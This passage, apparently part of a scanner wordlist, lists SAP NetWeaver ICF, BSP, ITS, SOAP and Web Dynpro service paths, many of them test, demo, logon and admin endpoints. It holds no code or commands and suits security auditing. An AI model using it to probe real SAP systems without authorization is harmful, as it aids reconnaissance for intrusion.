sap/bc/bsp/sap/ppm
|
||||
sap/bc/bsp/sap/ppm_detail
|
||||
sap/bc/bsp/sap/public
|
||||
sap/bc/bsp/sap/public/
|
||||
sap/bc/bsp/sap/public/FormGraphics
|
||||
sap/bc/bsp/sap/public/bc
|
||||
sap/bc/bsp/sap/public/graphics
|
||||
sap/bc/bsp/sap/rmpspb_case
|
||||
sap/bc/bsp/sap/rmpspb_casenote
|
||||
sap/bc/bsp/sap/rsrthemes_iview
|
||||
sap/bc/bsp/sap/sam_demo
|
||||
sap/bc/bsp/sap/sam_notifying
|
||||
sap/bc/bsp/sap/sam_sess_queue
|
||||
sap/bc/bsp/sap/sapsign
|
||||
sap/bc/bsp/sap/sapterm
|
||||
sap/bc/bsp/sap/sbsp_dal_demo
|
||||
sap/bc/bsp/sap/sbspext_bsp
|
||||
sap/bc/bsp/sap/sbspext_htmlb
|
||||
sap/bc/bsp/sap/sbspext_phtmlb
|
||||
sap/bc/bsp/sap/sbspext_table
|
||||
sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
sap/bc/bsp/sap/scpbspconvertuc
|
||||
sap/bc/bsp/sap/sem_upwb
|
||||
sap/bc/bsp/sap/sf_webform_01
|
||||
sap/bc/bsp/sap/sf_webform_02
|
||||
sap/bc/bsp/sap/sf_webform_03
|
||||
sap/bc/bsp/sap/sf_webform_04
|
||||
sap/bc/bsp/sap/sfint_demo01
|
||||
sap/bc/bsp/sap/sfint_demo02
|
||||
sap/bc/bsp/sap/sfint_demo03
|
||||
sap/bc/bsp/sap/sfint_demo04
|
||||
sap/bc/bsp/sap/sicf_login_test
|
||||
sap/bc/bsp/sap/sicf_login_test/
|
||||
sap/bc/bsp/sap/sicf_login_test/test
|
||||
sap/bc/bsp/sap/sicf_login_test/testNoRedirect
|
||||
sap/bc/bsp/sap/smart_forms
|
||||
sap/bc/bsp/sap/spi_admin
|
||||
sap/bc/bsp/sap/spi_monitor
|
||||
sap/bc/bsp/sap/spi_procmonitor
|
||||
sap/bc/bsp/sap/srm_demo_bspext
|
||||
sap/bc/bsp/sap/srm_demo_note
|
||||
sap/bc/bsp/sap/srm_demo_record
|
||||
sap/bc/bsp/sap/srm_doc_test
|
||||
sap/bc/bsp/sap/srm_gensp_query
|
||||
sap/bc/bsp/sap/srm_note
|
||||
sap/bc/bsp/sap/srm_prop
|
||||
sap/bc/bsp/sap/srm_record
|
||||
sap/bc/bsp/sap/srmclfrm
|
||||
sap/bc/bsp/sap/srmps_browser
|
||||
sap/bc/bsp/sap/srmps_favorites
|
||||
sap/bc/bsp/sap/srmps_history
|
||||
sap/bc/bsp/sap/srmps_metadata
|
||||
sap/bc/bsp/sap/srmps_search
|
||||
sap/bc/bsp/sap/srt_browser
|
||||
sap/bc/bsp/sap/ssf_techinf
|
||||
sap/bc/bsp/sap/ssfdemodigsig
|
||||
sap/bc/bsp/sap/ssfdemodigsig2
|
||||
sap/bc/bsp/sap/swfmod_portal
|
||||
sap/bc/bsp/sap/swh_demo_calc
|
||||
sap/bc/bsp/sap/swn_config
|
||||
sap/bc/bsp/sap/swn_message1
|
||||
sap/bc/bsp/sap/swn_wiexecute
|
||||
sap/bc/bsp/sap/swxtraagent
|
||||
sap/bc/bsp/sap/swxtrareq
|
||||
sap/bc/bsp/sap/sxidemo_agcy_ui
|
||||
sap/bc/bsp/sap/sxms_alertrules
|
||||
sap/bc/bsp/sap/sxslt_training
|
||||
sap/bc/bsp/sap/system
|
||||
sap/bc/bsp/sap/system640
|
||||
sap/bc/bsp/sap/system_priv_01
|
||||
sap/bc/bsp/sap/system_priv_02
|
||||
sap/bc/bsp/sap/system_priv_03
|
||||
sap/bc/bsp/sap/system_private
|
||||
sap/bc/bsp/sap/system_public
|
||||
sap/bc/bsp/sap/system_test
|
||||
sap/bc/bsp/sap/t_sam_demo
|
||||
sap/bc/bsp/sap/thtmlb_scripts
|
||||
sap/bc/bsp/sap/thtmlb_styles
|
||||
sap/bc/bsp/sap/tunguska
|
||||
sap/bc/bsp/sap/tunguska_detail
|
||||
sap/bc/bsp/sap/tutorial_1
|
||||
sap/bc/bsp/sap/tutorial_2
|
||||
sap/bc/bsp/sap/tutorial_2htmlb
|
||||
sap/bc/bsp/sap/tutorial_3
|
||||
sap/bc/bsp/sap/tutorial_3_mvc
|
||||
sap/bc/bsp/sap/tutorial_4
|
||||
sap/bc/bsp/sap/tutorial_4_mvc
|
||||
sap/bc/bsp/sap/tutorial_cache
|
||||
sap/bc/bsp/sap/uddiclientfind
|
||||
sap/bc/bsp/sap/uddiclpublish
|
||||
sap/bc/bsp/sap/uicmp_ltx
|
||||
sap/bc/bsp/sap/upwb_sem
|
||||
sap/bc/bsp/sap/upwb_test_otr
|
||||
sap/bc/bsp/sap/upx_exec
|
||||
sap/bc/bsp/sap/upx_exec2
|
||||
sap/bc/bsp/sap/uws_form_servic
|
||||
sap/bc/bsp/sap/wap_push
|
||||
sap/bc/bsp/sap/webdynprodemos
|
||||
sap/bc/bsp/sap/wp_sess_test2
|
||||
sap/bc/bsp/sap/wscb
|
||||
sap/bc/bsp/sap/wsi_oci_bsp
|
||||
sap/bc/bsp/sap/wsi_oci_bsp_mvc
|
||||
sap/bc/bsp/sap/xi_pf_perf_moni
|
||||
sap/bc/bsp/sap/xi_pf_test
|
||||
sap/bc/bsp/sap/xmb_bsp_log
|
||||
sap/bc/bsp/scmb
|
||||
sap/bc/bsp/scmb/df_web2
|
||||
sap/bc/bsp_dev
|
||||
sap/bc/bw_test
|
||||
sap/bc/cachetest
|
||||
sap/bc/ccms
|
||||
sap/bc/ccms/
|
||||
sap/bc/ccms//Specto
|
||||
sap/bc/ccms/MarketSet
|
||||
sap/bc/ccms/monitoring
|
||||
sap/bc/ccms/monitoring/GRMG_APP
|
||||
sap/bc/ccms/monitoringCCMS_XML
|
||||
sap/bc/ce_url
|
||||
sap/bc/cimom
|
||||
sap/bc/cms
|
||||
sap/bc/contentserver
|
||||
sap/bc/crm_bsp_dl
|
||||
sap/bc/dal
|
||||
sap/bc/dal/demoB
|
||||
sap/bc/daldemoA
|
||||
sap/bc/doc
|
||||
sap/bc/doc/
|
||||
sap/bc/doc/browser
|
||||
sap/bc/doc/mast
|
||||
sap/bc/doc/meta
|
||||
sap/bc/doc/metadata
|
||||
sap/bc/doc/tmpl
|
||||
sap/bc/doc/tran
|
||||
sap/bc/docu
|
||||
sap/bc/dr
|
||||
sap/bc/ecatt
|
||||
sap/bc/ecatt/
|
||||
sap/bc/ecatt/ecatt_recorder
|
||||
sap/bc/ecatt/ecattping
|
||||
sap/bc/ecatt/log_provider
|
||||
sap/bc/echo
|
||||
sap/bc/echo/
|
||||
sap/bc/echo/logon
|
||||
sap/bc/echo/logon_base64
|
||||
sap/bc/echo/redirect
|
||||
sap/bc/error
|
||||
sap/bc/error/
|
||||
sap/bc/error/list
|
||||
sap/bc/error/template
|
||||
sap/bc/error/webgui
|
||||
sap/bc/esf
|
||||
sap/bc/formabsdelete
|
||||
sap/bc/fp
|
||||
sap/bc/fpads
|
||||
sap/bc/generate
|
||||
sap/bc/generate/poll
|
||||
sap/bc/graphics
|
||||
sap/bc/graphics/net
|
||||
sap/bc/gui
|
||||
sap/bc/gui/its
|
||||
sap/bc/gui/sap
|
||||
sap/bc/gui/sap/its/
|
||||
sap/bc/gui/sap/its/BWSP
|
||||
sap/bc/gui/sap/its/BWWF_WI_DECI
|
||||
sap/bc/gui/sap/its/BWWI_EXECUTE
|
||||
sap/bc/gui/sap/its/CCMS_APPSRVLIS
|
||||
sap/bc/gui/sap/its/CCMS_DBBUFARCH
|
||||
sap/bc/gui/sap/its/CERTMAP
|
||||
sap/bc/gui/sap/its/CERTREQ
|
||||
sap/bc/gui/sap/its/CRM_CIC_RABOX
|
||||
sap/bc/gui/sap/its/GRM_WRAPPER
|
||||
sap/bc/gui/sap/its/MININOTES
|
||||
sap/bc/gui/sap/its/MY_PROFILEMATC
|
||||
sap/bc/gui/sap/its/RSAU_STATUS
|
||||
sap/bc/gui/sap/its/SAPSIGN
|
||||
sap/bc/gui/sap/its/SAP_GENERATE
|
||||
sap/bc/gui/sap/its/SSFIDEMODIGSIG
|
||||
sap/bc/gui/sap/its/STATUSPANEL
|
||||
sap/bc/gui/sap/its/STERM_ITS
|
||||
sap/bc/gui/sap/its/TEST_XMLPARSER
|
||||
sap/bc/gui/sap/its/WSI_OCI_ITS
|
||||
sap/bc/gui/sap/its/XML_DTD_01
|
||||
sap/bc/gui/sap/its/alinkviewer
|
||||
sap/bc/gui/sap/its/bwca
|
||||
sap/bc/gui/sap/its/designs
|
||||
sap/bc/gui/sap/its/my_qualis
|
||||
sap/bc/gui/sap/its/my_requirement
|
||||
sap/bc/gui/sap/its/sample
|
||||
sap/bc/gui/sap/its/sample/
|
||||
sap/bc/gui/sap/its/sample/IAC_CALENDAR
|
||||
sap/bc/gui/sap/its/sample/IAC_FLIGHT
|
||||
sap/bc/gui/sap/its/sample/IAC_INPUT
|
||||
sap/bc/gui/sap/its/sample/IAC_SE38
|
||||
sap/bc/gui/sap/its/sample/IAC_TABLE
|
||||
sap/bc/gui/sap/its/sample/IAC_TEXTEDIT
|
||||
sap/bc/gui/sap/its/sample/IAC_TOOLBAR
|
||||
sap/bc/gui/sap/its/sample/IAC_TREE1
|
||||
sap/bc/gui/sap/its/sample/IAC_TREE2
|
||||
sap/bc/gui/sap/its/sample/iAC_HTML
|
||||
sap/bc/gui/sap/its/test
|
||||
sap/bc/gui/sap/its/test/
|
||||
sap/bc/gui/sap/its/test/it
|
||||
sap/bc/gui/sap/its/test/it/
|
||||
sap/bc/gui/sap/its/test/it/IT12
|
||||
sap/bc/gui/sap/its/test/it/IT13
|
||||
sap/bc/gui/sap/its/test/it/ITRBX
|
||||
sap/bc/gui/sap/its/test/it/it00
|
||||
sap/bc/gui/sap/its/test/it/it19
|
||||
sap/bc/gui/sap/its/test/webgui_end
|
||||
sap/bc/gui/sap/its/test/webgui_tj
|
||||
sap/bc/gui/sap/its/test/webgui_txend
|
||||
sap/bc/gui/sap/its/webgui
|
||||
sap/bc/gui/sap/its/webgui/!
|
||||
sap/bc/icf
|
||||
sap/bc/icf/
|
||||
sap/bc/icf/demo
|
||||
sap/bc/icf/demo/example_1
|
||||
sap/bc/icf/recorder
|
||||
sap/bc/icf/verification
|
||||
sap/bc/icman
|
||||
sap/bc/icman/test01
|
||||
sap/bc/idoc_xml
|
||||
sap/bc/igs_data
|
||||
sap/bc/kw
|
||||
sap/bc/kw/
|
||||
sap/bc/kw/K/Link
|
||||
sap/bc/kw/fs
|
||||
sap/bc/kw/mime
|
||||
sap/bc/kw/skwr
|
||||
sap/bc/mlt
|
||||
sap/bc/mlt/
|
||||
sap/bc/mlt//vb
|
||||
sap/bc/mlt/slim
|
||||
sap/bc/mlt/slim/
|
||||
sap/bc/mlt/slim//lang_plus
|
||||
sap/bc/mlt/slim/branching
|
||||
sap/bc/mlt/slim/pcx
|
||||
sap/bc/mlt/slim/pcx_plus
|
||||
sap/bc/mlt/test
|
||||
sap/bc/mlt/tmware
|
||||
sap/bc/mlt/trados
|
||||
sap/bc/notify
|
||||
sap/bc/notify/polling
|
||||
sap/bc/ping
|
||||
sap/bc/print
|
||||
sap/bc/rehm
|
||||
sap/bc/report
|
||||
sap/bc/sapits_mimes
|
||||
sap/bc/smart_forms
|
||||
sap/bc/soap
|
||||
sap/bc/soap/
|
||||
sap/bc/soap/doc
|
||||
sap/bc/soap/ici
|
||||
sap/bc/soap/ici_ssl
|
||||
sap/bc/soap/rfc
|
||||
sap/bc/soap/wsdl
|
||||
sap/bc/soap/wsdl11
|
||||
sap/bc/soap/wsdlservices
|
||||
sap/bc/spi_gate
|
||||
sap/bc/srm
|
||||
sap/bc/srm/rcm_webdav
|
||||
sap/bc/srm/rcm_webdav/
|
||||
sap/bc/srm/rcm_webdav/s_area_cmg
|
||||
sap/bc/srm/rcm_webdav/s_area_rms
|
||||
sap/bc/srt
|
||||
sap/bc/srt/
|
||||
sap/bc/srt/IDoc
|
||||
sap/bc/srt/esf
|
||||
sap/bc/srt/rfc
|
||||
sap/bc/srt/rfc/
|
||||
sap/bc/srt/rfc/OSP
|
||||
sap/bc/srt/rfc/sap
|
||||
sap/bc/srt/sap/
|
||||
sap/bc/srt/sap/Detailed_flight_info_get
|
||||
sap/bc/srt/sap/ER_REGISTRY_SUPPORT_SERVICE
|
||||
sap/bc/srt/sap/II_TEST_IN_SYNC
|
||||
sap/bc/srt/sap/ME_RT_DSD_WS_64
|
||||
sap/bc/srt/sap/QUERY_VIEW_DATA
|
||||
sap/bc/srt/sap/RSDAW_NEARLINE_SERVER
|
||||
sap/bc/srt/sap/RSOBJSALTERNODEREFS
|
||||
sap/bc/srt/sap/RSOBJS_ALTER_NODE_REFS
|
||||
sap/bc/srt/sap/RSOBJS_CHECK
|
||||
sap/bc/srt/sap/RSOBJS_DELETE
|
||||
sap/bc/srt/sap/RSOBJS_GET_NODES
|
||||
sap/bc/srt/sap/RSOBJS_INIT
|
||||
sap/bc/srt/sap/RSOBJS_WHERE_USED_LIST
|
||||
sap/bc/srt/sap/RSPO_SXOMS_DEFINE_PRINTER
|
||||
sap/bc/srt/sap/RSPO_SXOMS_DELETE_PRINTER
|
||||
sap/bc/srt/sap/RSPO_SXOMS_GET_DEVICE_TYPES
|
||||
sap/bc/srt/sap/RSPO_SXOMS_GET_TRAY_INFO
|
||||
sap/bc/srt/sap/RSPO_SXOMS_PUSH_ROMS_LOMS
|
||||
sap/bc/srt/sap/RSPO_SXOMS_UPDATE_PRINTER
|
||||
sap/bc/srt/sap/SAP_RPE_SEQUENCE
|
||||
sap/bc/srt/sap/SBIZC_AUTHOR
|
||||
sap/bc/srt/sap/SBIZC_AUTHORING
|
||||
sap/bc/srt/sap/SBIZC_DETAIL
|
||||
sap/bc/srt/sap/SBIZC_TEST_AUTHOR_INIT
|
||||
sap/bc/srt/sap/SBIZC_WS_TEST
|
||||
sap/bc/srt/sap/SRTFT_MASS_CONFIGURATION
|
||||
sap/bc/srt/sap/SRTFT_SYSTEM_METADATA_ACCESS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_ADD_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST01_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST02_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST03_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_SUM_WS
|
||||
sap/bc/srt/sap/SXIDAL_FLIGHTSEATAVAIL_CHECK
|
||||
sap/bc/srt/sap/SYNCCALLSECURITYHIGHNOAUTOGEN
|
||||
sap/bc/srt/sap/SYNCCALLSECURITYLOWAUTOGEN
|
||||
sap/bc/srt/sap/TEST_WEBSERVICE_WRITE
|
||||
sap/bc/srt/sap/WDYBUILDINBOX
|
||||
sap/bc/srt/sap/WDYGETDC
|
||||
sap/bc/srt/sap/WDYGETTF
|
||||
sap/bc/srt/sap/WDYSETDC
|
||||
sap/bc/srt/sap/WDYUPDATETF
|
||||
sap/bc/srt/sap/WS_ORDER_BE_IN
|
||||
sap/bc/srt/sap/ob_wsd_test02
|
||||
sap/bc/srt/sap/xmla
|
||||
sap/bc/srt/wsil
|
||||
sap/bc/srt/xip
|
||||
sap/bc/srt/xip/sap
|
||||
sap/bc/testzone
|
||||
sap/bc/testzone/
|
||||
sap/bc/testzone/depot_select
|
||||
sap/bc/testzone/result_rep
|
||||
sap/bc/verification/
|
||||
sap/bc/verification/itsplugin
|
||||
sap/bc/verification/stateful_ping
|
||||
sap/bc/wappush
|
||||
sap/bc/wd_trace_tool
|
||||
sap/bc/wdvd
|
||||
sap/bc/webapp
|
||||
sap/bc/webdynpro
|
||||
sap/bc/webdynpro/sap
|
||||
sap/bc/webdynpro/sap/
|
||||
sap/bc/webdynpro/sap/CCMSBI_WAST_EXTR_TESTENV
|
||||
sap/bc/webdynpro/sap/CNP_LIGHT_TEST
|
||||
sap/bc/webdynpro/sap/DBA_COCKPIT
|
||||
sap/bc/webdynpro/sap/DEMO_CONTEXT_CHANGES
|
||||
sap/bc/webdynpro/sap/DEMO_ROADMAP
|
||||
sap/bc/webdynpro/sap/DEMO_SIMPLE_MAIN
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_KEY
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_NST
|
||||
sap/bc/webdynpro/sap/DemoDynamic
|
||||
sap/bc/webdynpro/sap/DemoTree
|
||||
sap/bc/webdynpro/sap/EXAMPLE_WDABAP_3
|
||||
sap/bc/webdynpro/sap/KEY_FIGURE_MONITOR
|
||||
sap/bc/webdynpro/sap/KEY_FIGURE_TREND
|
||||
sap/bc/webdynpro/sap/MASTERMIND
|
||||
sap/bc/webdynpro/sap/OTHELLO
|
||||
sap/bc/webdynpro/sap/POWL
|
||||
sap/bc/webdynpro/sap/POWL_COLLECTOR
|
||||
sap/bc/webdynpro/sap/POWL_MASTER_QUERY
|
||||
sap/bc/webdynpro/sap/POWL_PERS_COMP
|
||||
sap/bc/webdynpro/sap/RCM_DOC_CLIENT_test
|
||||
sap/bc/webdynpro/sap/RCM_ORGANIZER
|
||||
sap/bc/webdynpro/sap/RCM_RECORD
|
||||
sap/bc/webdynpro/sap/RCM_SP
|
||||
sap/bc/webdynpro/sap/RCM_SP_URL
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_ALVFNC
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLORS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLSCR
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_CV
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EDIT
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EVENTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_F4
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_MIG
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PARTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PROPS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_SIMPLE
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOL
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOOLBR
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TREE
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA_DOWNLOAD
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_ALVFNC
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLORS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLSCR
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_CV
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT_M
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EVENTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_IN_WDW
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_PROPS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SELECT
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SIMPLE
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TOOLBR
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TREE
|
||||
sap/bc/webdynpro/sap/TEST_BAD_LINK
|
||||
sap/bc/webdynpro/sap/TEST_MODIFY_VIEW
|
||||
sap/bc/webdynpro/sap/TEST_RUNTIME_REPOSITORY
|
||||
sap/bc/webdynpro/sap/TestUpload
|
||||
sap/bc/webdynpro/sap/WDK_A_SE91
|
||||
sap/bc/webdynpro/sap/WDK_SPOOL_TO_PDF
|
||||
sap/bc/webdynpro/sap/WDR_DOCU_HELPER
|
||||
sap/bc/webdynpro/sap/WDR_MESSAGE_AREA
|
||||
sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_DDIC_SHLP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_DOCU
|
||||
sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_ICON_SOURCES
|
||||
sap/bc/webdynpro/sap/WDR_TEST_IT05
|
||||
sap/bc/webdynpro/sap/WDR_TEST_JNDI_PROVIDER
|
||||
sap/bc/webdynpro/sap/WDR_TEST_LAYOUTS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_MODIFY_VIEW
|
||||
sap/bc/webdynpro/sap/WDR_TEST_NAVIGATION
|
||||
sap/bc/webdynpro/sap/WDR_TEST_OVS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00001
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00002
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00003
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P13N
|
||||
sap/bc/webdynpro/sap/WDR_TEST_POPUPS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_POPUPS_RT
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE2
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE_POP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC2
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC_POP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_OBN
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_PAGE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_TARGET
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_POPUP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS_IN
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_WORKPROTECT
|
||||
sap/bc/webdynpro/sap/WDR_TEST_RUNTIME
|
||||
sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CHILD
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CLOSE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_LOGOFF
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_RESUME
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUITE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_A
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_B
|
||||
sap/bc/webdynpro/sap/WDR_UIE_LIBRARY
|
||||
sap/bc/webdynpro/sap/apb_launchpad
|
||||
sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
sap/bc/webdynpro/sap/appl_soap_management
|
||||
sap/bc/webdynpro/sap/application_exit
|
||||
sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
sap/bc/webdynpro/sap/cnp_light_test
|
||||
sap/bc/webdynpro/sap/configure_application
|
||||
sap/bc/webdynpro/sap/configure_component
|
||||
sap/bc/webdynpro/sap/demo_messages
|
||||
sap/bc/webdynpro/sap/demo_messages2
|
||||
sap/bc/webdynpro/sap/demo_variable_dropdown
|
||||
sap/bc/webdynpro/sap/demo_wda_quiz
|
||||
sap/bc/webdynpro/sap/demo_wda_table
|
||||
sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
sap/bc/webdynpro/sap/ios_test_helloworld_ms
|
||||
sap/bc/webdynpro/sap/ios_test_helloworld_so
|
||||
sap/bc/webdynpro/sap/ios_test_simple_ms
|
||||
sap/bc/webdynpro/sap/ios_test_simple_so
|
||||
sap/bc/webdynpro/sap/its
|
||||
sap/bc/webdynpro/sap/powl_test_feeder
|
||||
sap/bc/webdynpro/sap/ptm_assign_s_ui
|
||||
sap/bc/webdynpro/sap/ptm_jf_worklist_ui
|
||||
sap/bc/webdynpro/sap/ptm_maintain_jf_ui
|
||||
sap/bc/webdynpro/sap/rcm_multistring_edit_example
|
||||
sap/bc/webdynpro/sap/rcm_poid_info_example
|
||||
sap/bc/webdynpro/sap/rcm_property_query_example
|
||||
sap/bc/webdynpro/sap/salv_wd_demo_table_dfault
|
||||
sap/bc/webdynpro/sap/salv_wd_submit
|
||||
sap/bc/webdynpro/sap/salv_wd_test_col_field
|
||||
sap/bc/webdynpro/sap/salv_wd_test_conf_caller
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config_api
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config_api2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_datatypes
|
||||
sap/bc/webdynpro/sap/salv_wd_test_dyn1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_extended
|
||||
sap/bc/webdynpro/sap/salv_wd_test_file_upload
|
||||
sap/bc/webdynpro/sap/salv_wd_test_image1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_modif1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_no_ddic
|
||||
sap/bc/webdynpro/sap/salv_wd_test_non_portal
|
||||
sap/bc/webdynpro/sap/salv_wd_test_set_data
|
||||
sap/bc/webdynpro/sap/salv_wd_test_set_data1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_simple1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_edit2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_f4
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_tol
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_tol2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_translation
|
||||
sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
sap/bc/webdynpro/sap/test_ddic
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_default
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
sap/bc/webdynpro/sap/wd_layout_cnp_light
|
||||
sap/bc/webdynpro/sap/wd_personalize_ddic_valuehelp
|
||||
sap/bc/webdynpro/sap/wd_tut_alv
|
||||
sap/bc/webdynpro/sap/wd_tut_componentdetail
|
||||
sap/bc/webdynpro/sap/wd_tut_componentusage
|
||||
sap/bc/webdynpro/sap/wd_tut_dialogboxes
|
||||
sap/bc/webdynpro/sap/wdhc_application
|
||||
sap/bc/webdynpro/sap/wdk_gaf_template
|
||||
sap/bc/webdynpro/sap/wdk_oif_template
|
||||
sap/bc/webdynpro/sap/wdk_qaf_template
|
||||
sap/bc/webdynpro/sap/wdr_inplace_demo1
|
||||
sap/bc/webdynpro/sap/wdr_inplace_demo2
|
||||
sap/bc/webdynpro/sap/wdr_ovs_test
|
||||
sap/bc/webdynpro/sap/wdr_package_srvs
|
||||
sap/bc/webdynpro/sap/wdr_popup_to_confirm_test
|
||||
sap/bc/webdynpro/sap/wdr_replace_if_wdl
|
||||
sap/bc/webdynpro/sap/wdr_test_adobe_pdf_only
|
||||
sap/bc/webdynpro/sap/wdr_test_appl_def_vh
|
||||
sap/bc/webdynpro/sap/wdr_test_application_api
|
||||
sap/bc/webdynpro/sap/wdr_test_bg_blend
|
||||
sap/bc/webdynpro/sap/wdr_test_chat
|
||||
sap/bc/webdynpro/sap/wdr_test_cmp_usage_group
|
||||
sap/bc/webdynpro/sap/wdr_test_cmpusage
|
||||
sap/bc/webdynpro/sap/wdr_test_cmpusage4
|
||||
sap/bc/webdynpro/sap/wdr_test_config
|
||||
sap/bc/webdynpro/sap/wdr_test_config2
|
||||
sap/bc/webdynpro/sap/wdr_test_configmain
|
||||
sap/bc/webdynpro/sap/wdr_test_context
|
||||
sap/bc/webdynpro/sap/wdr_test_dynamic
|
||||
sap/bc/webdynpro/sap/wdr_test_enhancements
|
||||
sap/bc/webdynpro/sap/wdr_test_exit_plug
|
||||
sap/bc/webdynpro/sap/wdr_test_ext_mapping
|
||||
sap/bc/webdynpro/sap/wdr_test_extended_path
|
||||
sap/bc/webdynpro/sap/wdr_test_gantt
|
||||
sap/bc/webdynpro/sap/wdr_test_global_settings
|
||||
sap/bc/webdynpro/sap/wdr_test_help
|
||||
sap/bc/webdynpro/sap/wdr_test_input
|
||||
sap/bc/webdynpro/sap/wdr_test_it05_nopatt
|
||||
sap/bc/webdynpro/sap/wdr_test_mailto
|
||||
